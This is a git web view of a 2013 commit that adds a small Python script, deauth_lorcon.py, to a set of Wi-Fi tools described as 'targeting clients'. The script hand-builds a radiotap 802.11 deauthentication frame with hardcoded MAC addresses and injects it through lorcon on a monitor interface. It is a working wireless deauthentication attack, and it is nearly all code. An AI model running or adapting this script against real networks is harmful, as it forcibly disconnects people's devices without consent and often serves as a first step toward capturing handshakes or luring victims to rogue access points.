aboutsummaryrefslogtreecommitdiffstats
path: root/viensamoi/deauth_lorcon.py
diff options
context:
space:
mode:
authorLaurent Ghigonis <laurent@p1sec.com>2013-03-25 18:55:15 +0100
committerLaurent Ghigonis <laurent@p1sec.com>2013-03-25 18:55:15 +0100
commitfe2921d137ce66eb1176c8fb0cdf692d697bda9b (patch)
tree01ff431d0dcd02a4b1038fdc4ad2cc8fd1262196 /viensamoi/deauth_lorcon.py
parentpropagate: change default "netcat" command to "nc" (diff)
downloadlaurent-tools-fe2921d137ce66eb1176c8fb0cdf692d697bda9b.tar.xz
laurent-tools-fe2921d137ce66eb1176c8fb0cdf692d697bda9b.zip
add viensamoi - WIFI tools targeting clients
Diffstat (limited to 'viensamoi/deauth_lorcon.py')
-rwxr-xr-xviensamoi/deauth_lorcon.py31
1 files changed, 31 insertions, 0 deletions
diff --git a/viensamoi/deauth_lorcon.py b/viensamoi/deauth_lorcon.py
new file mode 100755
index 0000000..4a1b64c
--- /dev/null
+++ b/viensamoi/deauth_lorcon.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python2
+# encoding: utf-8
+
+import lorcon
+
+iface = 'mon0'
+
+data = '\x00\x00\x12\x00' # Header revision, pad, length
+data += '\x2e\x48\x00\x00' # Flags
+data += '\x00' # Additional flags
+data += '\x02' # Data rate \x02 == 1.0 Mb/s
+data += '\xa8\x09' # Frequency 0x09a8 -> 2472 MHz -> Chan 13
+data += '\xa0\x00' # Channel type
+data += '\xd2' # SSI signal
+data += '\x03' # Antenna number
+data += '\x00\x00' # RX Flags
+
+data += '\xc0' # Deauth 802.11
+data += '\x00' # Flags
+data += '\xda\x00' # Duration 0xda == 218
+data += '\x78\xe4\x00\x1e\x26\x28' # Destination address
+data += '\xf4\xca\xe5\xfc\xf7\xf4' # Source address
+data += '\xf4\xca\xe5\xfc\xf7\xf4' # BSSID
+data += '\x90\xc5' # Sequence number
+data += '\x02\x01' # Reason
+
+lrc = lorcon.Lorcon()
+drv = lrc.auto_driver(iface)
+ctx = lrc.create(iface, drv)
+ctx.open_inject()
+ctx.send_bytes(data)